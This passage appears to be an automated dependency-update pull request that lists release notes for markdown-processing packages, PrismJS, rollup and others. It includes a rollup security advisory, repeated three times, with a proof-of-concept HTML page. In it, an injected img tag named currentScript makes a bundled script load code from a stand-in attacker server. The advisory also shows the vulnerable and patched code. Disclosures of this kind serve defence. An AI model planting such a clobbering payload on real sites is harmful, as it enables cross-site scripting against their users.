  • 67ef76c Update @types/hast, @types/mdast, utilities
    migrate: update too
  • b815f5e Change to require Node.js 16
    migrate: update too
  • 33442cc Change to use exports
    migrate: donโ€™t use private APIs
  • 56c88e4 Fix to match GH for HTML generated for backreferences
    migrate: use the function form of footnoteBackLabel for i18n, see defaultFootnoteBackLabel for inspiration
  • ffe7e47 Change to always return a node
    migrate: expect an empty root instead of nothing
  • ffbb8a8 Change to expect, yield undefined
    migrate: expect undefined everywhere, not null
  • c13fe7f Change to remove support for Footnote nodes
    migrate: use GFM, which does not have โ€œinlineโ€ notes
  • 6fc783a Change to remove support for ancient lang on code with spaces
    migrate: youโ€™re fine, this hasnโ€™t been a thing for years
  • 72b8a68 Change to use maps for definitions on state
    migrate: if you make your own handles, expect maps
  • b328aa9 Change to remove function form of State, use plain object
    migrate: if you make your own handles, create nodes yourself, use state.applyData if needed
  • 40e1d29 Change to remove all, one helpers
    migrate: if you make your own handles, use state.all, state.one
  • 1894044 Change to remove H type
    migrate: use State
  • e804231 Change to remove complex-types.d.ts
    migrate: use main module
  • 4df5d41 Change to deep clone passed through nodes
    migrate: should be fine

Types

  • 52905eb Add smarter types for passThrough
    migrate: type your mdast/hast nodes by extending the content interfaces
  • 6f555a0 Add supported data fields to Data of mdast
    migrate: pass correct values in node.data

Fix

  • 3e300ea Fix to keep content around for hName on text

Full Changelog: 12.3.0...13.0.0

12.3.0

Add

  • ed45ec4 Add wrap helper on state
  • e701470 Add one, all helpers to state

Fix

  • 0c67e83 Fix footnote keys such as constructor
  • 1c2cb7b Fix support for passing just a table row, cell

Misc

Full Changelog: 12.2.6...12.3.0

12.2.6

Misc

  • 3098beb Fix missing internal type

Full Changelog: 12.2.5...12.2.6

12.2.5

Full Changelog: 12.2.4...12.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 64 commits:

โ†—๏ธ mdast-util-to-markdown (indirect, 1.3.0 โ†’ 2.1.2) ยท Repo

Release Notes

2.1.2

  • b0a91ea Fix crash in more complex content around attention

Full Changelog: 2.1.1...2.1.2

2.1.1

Fix

  • 97fb818 Fix roundtripping of attention by encoding surroundings

Types

Full Changelog: 2.1.0...2.1.1

2.1.0

Add

  • 5fd2f1e Add compilePattern helper to state

Full Changelog: 2.0.0...2.1.0

2.0.0

Change

  • 6e5e12d Change to require Node.js 16
    migrate: update too
  • d27d04d Update @types/mdast and friends
    migrate: update too
  • 5c90701 Change to use exports map
    migrate: donโ€™t use private APIs
  • 89d0f5b Remove bulletOrderedOther, always use other bullets
    migrate: you can remove bulletOrderedOther if you passed it, itโ€™s now the default
  • 7f91d06 Change fences default to true
    migrate: you can remove fences: true if you passed it, explicitly set it to
    false if you want that, but fenced code is better than indented code
  • 019f25f Change listItemIndent default from 'tab' (size) to 'one'
    migrate: you can remove listItemIndent: 'one' if you passed it, explicitly set it to
    'tab' if you want that
  • 5b496da Remove ancient undocument support for listItemIndent: 1
    migrate: 1 -> 'one'
  • 2fcac46 Remove Context type alias
    migrate: Context -> State
  • 445c51a Remove SafeOptions type alias
    migrate: SafeOptions -> Info

Full Changelog: 1.5.0...2.0.0

1.5.0

Fix

  • 122101f Fix to not generate blank lines for phrasing roots

Add

  • 21a7d0a Add export of defaultHandlers
  • 070ad5f Add associationId helper to state
  • 35ceafc Add createTracker helper on state
  • e9f71aa Add safe helper on state
  • 19301e7 Add containerPhrasing, containerFlow helpers on state
  • a638e2a Add indentLines helper on state

Misc

  • d2108dd Refactor types to use node types, not strings
  • 35a9ccc Add registry for construct names
  • 501f668 Add support for null as input in types
  • e812c79 Add improved docs

Full Changelog: 1.4.0...1.5.0

1.4.0

Full Changelog: 1.3.0...1.4.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 63 commits:

โ†—๏ธ mdast-util-to-string (indirect, 3.1.0 โ†’ 4.0.0) ยท Repo

Release Notes

4.0.0

Change

  • 6f7f7cf Change to require Node.js 16
    migrate: update too
  • f77cf68 Change to use export map
    migrate: donโ€™t use private APIs

Full Changelog: 3.2.0...4.0.0

3.2.0

Feat

Full Changelog: 3.1.1...3.2.0

3.1.1

Misc

Full Changelog: 3.1.0...3.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 29 commits:

โ†—๏ธ micromark (indirect, 3.1.0 โ†’ 4.0.2) ยท Repo

Release Notes

4.0.2

  • d5712f1 Add internal field to allow trailing whitespace

4.0.1

Performance

  • f955251 Refactor to improve performance of resolveAllLabelEnd

Miscellaneous

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ micromark-extension-gfm-strikethrough (indirect, 1.0.4 โ†’ 2.1.0) ยท Repo

Release Notes

2.1.0

Full Changelog: 2.0.0...2.1.0

2.0.0

  • c6c9efd Change to require Node.js 16
    migrate: update Node
  • 75b799b Change to expose functions
    migrate: gfmStrikethroughHtml -> gfmStrikethroughHtml()
  • 78fe632 Update micromark

Full Changelog: 1.0.7...2.0.0

1.0.7

Fix

Full Changelog: 1.0.6...1.0.7

1.0.6

Types

  • 36a6b6d Update types for changes in micromark-util-types

Full Changelog: 1.0.5...1.0.6

1.0.5

Full Changelog: 1.0.4...1.0.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 39 commits:

โ†—๏ธ micromark-extension-gfm-table (indirect, 1.0.5 โ†’ 2.1.1) ยท Repo

Release Notes

2.1.1

Fix

Types

Full Changelog: 2.1.0...2.1.1

2.1.0

Full Changelog: 2.0.0...2.1.0

2.0.0

Change

  • da8dc23 Change to require Node.js 16
    migrate: update Node
  • 57a0069 Change to expose functions
    migrate: gfmTable -> gfmTable()
  • b2ebed6 Update micromark

Full Changelog: 1.0.7...2.0.0

1.0.7

Types

  • a59da0b Update types for changes in micromark-util-types

Full Changelog: 1.0.6...1.0.7

1.0.6

Perf

  • 9033e98 Refactor code to match markdown-rs, fix perf

Misc

Full Changelog: 1.0.5...1.0.6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 52 commits:

โ†—๏ธ micromark-util-symbol (indirect, 1.0.1 โ†’ 2.0.1) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ nlcst-to-string (indirect, 3.1.0 โ†’ 4.0.0) ยท Repo

Release Notes

4.0.0

Change

  • a3ff3fc Update @types/nlcst
    migrate: update too
  • e4b95c3 Change to require Node.js 16
    migrate: update too
  • 0f4c52c Change to use exports
    migrate: donโ€™t use private APIs
  • b1ba622 Remove separator
    migrate: afaik nobody used this

Full Changelog: 3.1.1...4.0.0

3.1.1

Misc

Full Changelog: 3.1.0...3.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 25 commits:

โ†—๏ธ parse-latin (indirect, 5.0.1 โ†’ 7.0.0) ยท Repo

Release Notes

7.0.0

Change

  • 8fe6893 Update @types/nlcst, @types/unist, utilities
    migrate: update too
  • ad2d932 Change to require Node.js 16
    migrate: update too
  • 6ce04d2 Change to use exports
    migrate: donโ€™t use private APIs
  • 1d96ee6 Change to use undefined for doc field
    migrate: expect undefined

Full Changelog: 6.0.2...7.0.0

6.0.2

Patch

Misc

Full Changelog: 6.0.1...6.0.2

6.0.1

Misc

  • 379499e Fix crash on nodes without positional info

Full Changelog: 6.0.0...6.0.1

6.0.0

  • 54baf82 Add types, remove position, use, useFirst
    feature: add types
    breaking: remove position field (use unist-util-remove-position if you previously set position: false)
    breaking: remove support for use, useFirst (manipulate the lists of plugins yourself)
    patch: fix support for CR, CRLF line endings
  • 4d1626d Add improved docs

Full Changelog: 5.0.1...6.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 36 commits:

โ†—๏ธ prismjs (indirect, 1.29.0 โ†’ 1.30.0) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ PrismJS DOM Clobbering vulnerability

Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.

Release Notes

1.30.0

What's Changed

New Contributors

Full Changelog: v1.29.0...v1.30.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ property-information (indirect, 6.2.0 โ†’ 7.1.0) ยท Repo

Release Notes

7.1.0

Full Changelog: 7.0.0...7.1.0

7.0.0

Change

  • 7aa0142 Change to require Node.js 16
    migrate: update too
  • d95d0e5 Add export map
    migrate: donโ€™t use private APIs

Types

Full Changelog: 6.5.0...7.0.0

6.5.0

  • 5eb7b1a Add shadowRootClonable, writingSuggestions

Full Changelog: 6.4.1...6.5.0

6.4.1

  • 172b09b Fix candidate capture to be string

Full Changelog: 6.4.0...6.4.1

6.4.0

  • 4f47923 Add onBeforeToggle, shadowRootDelegatesFocus, shadowRootMode

Full Changelog: 6.3.0...6.4.0

6.3.0

Data

  • d2b13fb Add blocking, fetchPriority, inert, popover, etc

Miosc

Full Changelog: 6.2.0...6.3.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 35 commits:

โ†—๏ธ rehype (indirect, 12.0.1 โ†’ 13.0.2) ยท Repo ยท Changelog

Release Notes

13.0.2

(note: this is a patch of all packages)

Miscellaneous

Types

Documentation

Full Changelog: 13.0.1...13.0.2

13.0.1

Types

  • 372da4d Add augmentation of settings types to rehype

Full Changelog: 13.0.0...13.0.1

13.0.0

Change

  • f6b628d Update unified, unified-args, @types/hast, etc
    migrate: update too
    if you passed an entities option to rehype/rehype-stringify, change it to characterReferences
    if you use rehype-cli, expect dotfiles to be included by default, add them to an ignore file if you donโ€™t want them
  • 830757d Change to require Node.js 16
    migrate: update too
  • 17079b0 Change to use exports
    migrate: donโ€™t use private APIs

Add

  • 7c9115b Add typed settings
    migrate: donโ€™t use private APIs

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 62 commits:

โ†—๏ธ rehype-parse (indirect, 8.0.4 โ†’ 9.0.1) ยท Repo ยท Changelog

Release Notes

9.0.1

See rehype-parse@6.0.2 and rehype-stringify@6.0.1

Project

9.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

โ†—๏ธ rehype-raw (indirect, 6.1.1 โ†’ 7.0.0) ยท Repo

Release Notes

7.0.0

Change

  • cdbb980 Update hast-util-raw, @types/hast
    migrate: update too
  • 9a794bb Change to require Node.js 16
    migrate: update too
  • cd34249 Change to use exports
    migrate: donโ€™t use private APIs

Full Changelog: 6.1.1...7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

โ†—๏ธ rehype-stringify (indirect, 9.0.3 โ†’ 10.0.1) ยท Repo ยท Changelog

Release Notes

10.0.1

10.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

โ†—๏ธ remark-gfm (indirect, 3.0.1 โ†’ 4.0.1) ยท Repo

Release Notes

4.0.1

Types

  • 4af823a Refactor to use interface for exposed types
  • 3a57a5b Add declaration maps
  • 76559f9 Refactor to use @imports

Docs

Full Changelog: 4.0.0...4.0.1

4.0.0

Change

  • b8cc334 Update @types/mdast, unified, utilities
    migrate: update too
  • 9eb0f54 Change to use exports
    migrate: donโ€™t use private APIs
  • 5715c93 Change to require Node.js 16
    migrate: update too

Full Changelog: 3.0.1...4.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 39 commits:

โ†—๏ธ remark-parse (indirect, 10.0.1 โ†’ 11.0.0) ยท Repo ยท Changelog

Release Notes

11.0.0

Breaking

Project

  • a47c3c9 Add more links to unified for examples of use
  • a93db25 Remove community health files
  • 1578bdf Refactor prose
  • 70ada4a Move URLs from HTTP to HTTPS
  • edb284a Add more badges

Plugins

  • 927083c Add remark-code-frontmatter to plugins
  • 0ee5336 Add remark-code-extra to List of Plugins
  • 5d13f8e Update list of plugins
  • cc7867b Add remark-tree-sitter to list of plugins
  • cca8385 Add remark-sectionize to plugins.md
  • f4230e3 Add remark-capitalize to list of plugins
  • cf52183 Add remark-utf8s and remark-code-screenshot to list of plugins
  • caaf374 Add remark-redactable to list of plugins

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 44 commits:

โ†—๏ธ remark-rehype (indirect, 10.1.0 โ†’ 11.1.2) ยท Repo

Release Notes

11.1.2

Types

  • eefd5f1 Fix types for bridge mode with missing overload

Full Changelog: 11.1.1...11.1.2

11.1.1

Fix

  • f0cce2d Fix mutate support in unified-engine

Miscellaneous

Types

Full Changelog: 11.1.0...11.1.1

11.1.0

Add

  • 0174dfc Add file to options passed to mdast-util-to-hast

Full Changelog: 11.0.0...11.1.0

11.0.0

Change

  • 30091c7 Change to require Node.js 16
    migrate: update too
  • cafeacc Change to use exports
    migrate: donโ€™t use private APIs
  • acb292a Update mdast-util-to-hast, @types/{hast,mdast}, unified, etc
    migrate: update too
    if you donโ€™t use handlers, this should be fine;
    if you do, see mdast-util-to-hast@13.0.0
  • ba50965 Remove Processor type
    migrate: get it from unified

Add

  • b990986 Add exports of defaultFootnoteBackContent, defaultFootnoteBackLabel

Full Changelog: 10.1.0...11.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 42 commits:

โ†—๏ธ remark-smartypants (indirect, 2.0.0 โ†’ 3.0.2) ยท Repo

Release Notes

3.0.2

What's Changed

New Contributors

Full Changelog: v3.0.1...v3.0.2

3.0.1

What's Changed

  • remove tsconfig.build.tsbuildinfo from publish by @bluwy in #85

New Contributors

  • @bluwy made their first contribution in #85

Full Changelog: v3.0.0...v3.0.1

3.0.0

Update TypeScript definiition for unified v11 ๐Ÿš€ Thanks @mashehu for the help!

From the development side we also migrated the source code to TypeScript, so future updates should be safer.

Let us know if you find any regressions!

2.1.0

So far this plugin had trouble with nested use cases like adding quotes around links ("[example](https://example.com)") and inline code ("`code`") โ€” it wouldn't recognize that the 2nd quote is the closing quote and turn them into proper smart quotes. Thankfully @dimaMachina and @2wheeh helped with handling these inception cases much better ๐Ÿ’ช

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ retext (indirect, 8.1.0 โ†’ 9.0.0) ยท Repo ยท Changelog

Release Notes

9.0.0

Change

  • a4987d7 Update @types/nlcst, unified, utilities, etc
    migrate: update too
  • 252453a Change to require Node.js 16
    migrate: update too
  • e719bf4 Change to use exports
    migrate: donโ€™t use private APIs
  • 67cef52 Remove parser exports
    migrate: get them from parse-english and similar

Misc

Full Changelog: 8.1.0...9.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 32 commits:

โ†—๏ธ retext-smartypants (indirect, 5.2.0 โ†’ 6.2.0) ยท Repo

Release Notes

6.2.0

Add

  • f8f9683 Add support for live typing 3 dashes

Full Changelog: 6.1.1...6.2.0

6.1.1

  • b4629a7 Fix quote surrounded by punctuation near end of string

Full Changelog: 6.1.0...6.1.1

6.1.0

Full Changelog: 6.0.0...6.1.0

6.0.0

Change

  • 11271dd Update @types/nlcst, unified, utilities, etc
    migrate: update too
  • 1f0d960 Change to use exports
    migrate: update too
  • d79c475 Change to require Node.js 16
    migrate: donโ€™t use private APIs

Full Changelog: 5.2.0...6.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 28 commits:

โ†—๏ธ rollup (indirect, 2.79.1 โ†’ 4.52.4) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that weโ€™ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.src || document.baseURI`
);

const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

๐Ÿšจ DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that weโ€™ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.src || document.baseURI`
);

const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

๐Ÿšจ DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that weโ€™ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.src || document.baseURI`
);

const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;
Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 4 commits:

โ†—๏ธ shiki (indirect, 0.11.1 โ†’ 3.13.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

โ†—๏ธ tslib (indirect, 2.4.1 โ†’ 2.8.1) ยท Repo

Release Notes

2.8.1

What's Changed

Full Changelog: v2.8.0...v2.8.1

2.8.0

What's Changed

Full Changelog: v2.7.0...v2.8.0

2.7.0

What's Changed

  • Implement deterministic collapse of await in await using by @rbuckton in #262
  • Use global 'Iterator.prototype' for downlevel generators by @rbuckton in #267

Full Changelog: v2.6.3...v2.7.0

2.6.3

What's Changed

Full Changelog: v2.6.2...v2.6.3

2.6.2

What's Changed

Full Changelog: v2.6.1...v2.6.2

2.6.1

What's Changed

Full Changelog: 2.6.0...v2.6.1

2.6.0

What's Changed

Full Changelog: v2.5.3...2.6.0

2.5.3

What's Changed

Full Changelog: 2.5.2...v2.5.3

2.5.2

This release explicitly re-exports helpers to work around TypeScript's incomplete symbol resolution for tslib.

2.5.1

This release of tslib provides fixes for two issues.

First, it reverses the order of init hooks provided by decorators to correctly reflect proposed behavior.

Second, it corrects the exports field of tslib's package.json and provides accurate declaration files so that it may be consumed under the node16 and bundler settings for moduleResolution.

2.5.0

What's New

  • Fix asyncDelegator reporting done too early by @apendua in #187
  • Add support for TypeScript 5.0's __esDecorate and related helpers by @rbuckton in #193

Full Changelog: 2.4.1...2.5.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 71 commits:

โ†—๏ธ type-fest (indirect, 0.13.1 โ†’ 4.41.0) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 5 commits:

โ†—๏ธ unified (indirect, 10.1.2 โ†’ 11.0.5) ยท Repo ยท Changelog

Release Notes

11.0.5

Fix

Full Changelog: 11.0.4...11.0.5

11.0.4

Types

Full Changelog: 11.0.3...11.0.4

11.0.3

Fix

  • 8dee2ab Fix support for functions in data

Full Changelog: 11.0.2...11.0.3

11.0.2

